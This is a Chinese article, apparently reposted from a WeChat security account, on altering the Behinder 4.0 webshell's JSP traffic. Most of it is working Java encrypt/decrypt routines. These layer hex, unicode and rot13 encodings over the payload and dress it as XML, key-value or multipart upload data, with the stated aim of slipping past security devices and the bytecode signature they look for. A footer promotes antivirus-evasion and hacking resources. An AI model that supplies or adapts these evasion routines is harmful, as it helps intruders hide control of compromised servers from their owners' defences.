冰蝎4.0流量魔改的方式
2023-6-18 23:33:18 Author: 渗透安全团队(查看原文) 阅读量:41 收藏

0x00 前言

冰蝎v4.0开放了传输协议的自定义功能,使得流量魔改更为简单方便,本文以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式

冰蝎4内置了如下几种传输协议,传输协议可以理解为流量的加密方式


以default_xor传输协议为例,这种传输协议是对原始数据进行了异或加密


效果如下:

我们来去掉加密解密函数的相关代码

如果不用任何加解密函数,request body其实传输的是java 字节码


响应体其实也是明文的固定格式的json类型
{"msg":"执行结果base64编码","status":"c3VjY2Vzcw=="}

变换加密方式

冰蝎4将加解密函数给外置出来,我们可以自己定义通信流量的加密方式,本次列举hex、unicode、rot13等加密方式

hex加密

前面已经分析过传输的data明文数据,所以在它基础上进行base64编码+hex编码,写上加解密函数即可实现hex加密流量


加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{

String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str="";
for (int i=0;i<result.length();i++){
int ch = (int)result.charAt(i);
String s4 = Integer.toHexString(ch);
str = str + s4;
}
return str.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
String s= new String(data);
byte[] baKeyword = new byte[s.length()/2];
for(int i = 0; i < baKeyword.length; i++){
try{
baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
}catch(Exception e){
e.printStackTrace();
}
}
try{
s = new String(baKeyword, "utf-8");
}catch (Exception e1){
e1.printStackTrace();
}
byte[] str = java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));
return str;
}

通信流量如下:

unicode加密

在base64编码的基础上加一层unicode编码,写unicode编码的加解密函数


加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{

String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str="";
StringBuffer unicode = new StringBuffer();
for(int i = 0; i < result.length(); i++){
char c = result.charAt(i);
unicode.append("\\u00" + Integer.toHexString(c));
}
return unicode.toString().getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
String unicode= new String(data);
StringBuilder sb = new StringBuilder();
int i = -1;
int pos = 0;
while ((i = unicode.indexOf("\\u", pos)) != -1) {
sb.append(unicode.substring(pos, i));
if (i + 5 < unicode.length()) {
pos = i + 6;
sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6), 16));
}
}
byte[] str = java.util.Base64.getDecoder().decode(sb.toString().replace("<","+").replace(">","/"));
return str;

}

通信流量如下:

rot13加密

在base64编码的基础上加一层rot13编码,写rot13编码的加解密函数


加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String input = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}
return str.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{

String input = new String(data);
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}
return java.util.Base64.getDecoder().decode(str.replace("<","+").replace(">","/"));

}

通信流量如下:

变换传输方式

之前列举了一些常见的加密方式,单纯对流量进行加密可能会被检测出来,我们可以对通信流量加入一些业务数据进行混淆,可能会更容易绕过防护设备

xml格式传输

将字节码base64编码后的数据替换掉xml模板中指定的字符串就ok了,这样通信流量就变成了xml格式


加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String xml="<?xml version=\"1.0\"?><user><id>1</id><content>DaYer0</content></user>";
xml=xml.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return xml.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{

java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,46,data.length-63);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));
}

通信流量如下:

key-value格式传输

当然也可以定义一段key-value的数据,然后用base64编码后的数据替换掉指定字符串


加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String json="id=1&content=DaYer0&token=1452178369&status=00000";
json=json.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return json.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,13,data.length-43);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));

}

通信流量如下:

multipart格式传输

定义一段multipart格式的数据,然后替换指定字符串

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name=\"uploadFile\";filename=\"test.png\" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--";
upload=upload.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return upload.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,150,data.length-195);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));

}

通信流量如下:

加密方式+传输方式组合

用变换传输方式的方法可以使通信流量更像业务,但是加密流量只进行了一次base64编码,我们知道原始流量是java字节码,在经过base64编码后会有yv66这样的魔术头,这样很容易被检测到,所以我们可以用加密方式和传输方式相结合的方法来躲避检测

xml格式+rot13加密

加密流量最外层进行一次rot13编码,然后再用xml的格式进行混淆


加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String xml="<?xml version=\"1.0\"?><user><id>1</id><content>DaYer0</content></user>";
String input = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}

xml=xml.replace("DaYer0",str);
return xml.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{

java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,46,data.length-63);
String input = new String(bos.toByteArray());
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}
return java.util.Base64.getDecoder().decode(str.replace("<","+").replace(">","/"));

}

通信流量如下:

key-value格式+unicode加密

加密流量最外层进行一次unicode编码,然后再用key-value的格式进行混淆


加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String content="id=1&content=DaYer0&token=1452178369&status=00000";
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str="";
StringBuffer unicode = new StringBuffer();
for(int i = 0; i < result.length(); i++){
char c = result.charAt(i);
unicode.append("\\u00" + Integer.toHexString(c));
}
content=content.replace("DaYer0",unicode.toString());
return content.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,13,data.length-43);
String unicode= new String(bos.toByteArray());
StringBuilder sb = new StringBuilder();
int i = -1;
int pos = 0;
while ((i = unicode.indexOf("\\u", pos)) != -1) {
sb.append(unicode.substring(pos, i));
if (i + 5 < unicode.length()) {
pos = i + 6;
sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6), 16));
}
}
byte[] str = java.util.Base64.getDecoder().decode(sb.toString().replace("<","+").replace(">","/"));
return str;
}

通信流量如下:

multipart格式+hex加密

加密流量最外层进行一次hex编码,然后再用multipart的格式进行混淆


加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name=\"uploadFile\";filename=\"test.png\" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--";
String str = "";
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
for (int i=0;i<result.length();i++){
int ch = (int)result.charAt(i);
String s4 = Integer.toHexString(ch);
str = str + s4;
}
upload=upload.replace("DaYer0",str);
return upload.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,150,data.length-195);
String s= new String(bos.toByteArray());
byte[] baKeyword = new byte[s.length()/2];
for(int i = 0; i < baKeyword.length; i++){
try{
baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
}catch(Exception e){
e.printStackTrace();
}
}
try{
s = new String(baKeyword, "utf-8");
}catch (Exception e1){
e1.printStackTrace();
}
return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));

}

通信流量如下:

本文针对冰蝎4流量魔改提供了一些魔改的方式,当然有好的魔改思路也欢迎师傅们分享,最后感谢冰蝎作者rebeyond

来源:https://xz.aliyun.com/t/12453


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247506421&idx=2&sn=0eac2c004a1723b0f01ba73c5eeac8c6&chksm=c176245af601ad4ca6fdc6c81e1e03209d985e29866c58727e8a5e5366741145a07e0e18d191#rd
如有侵权请联系:admin#unsafe.sh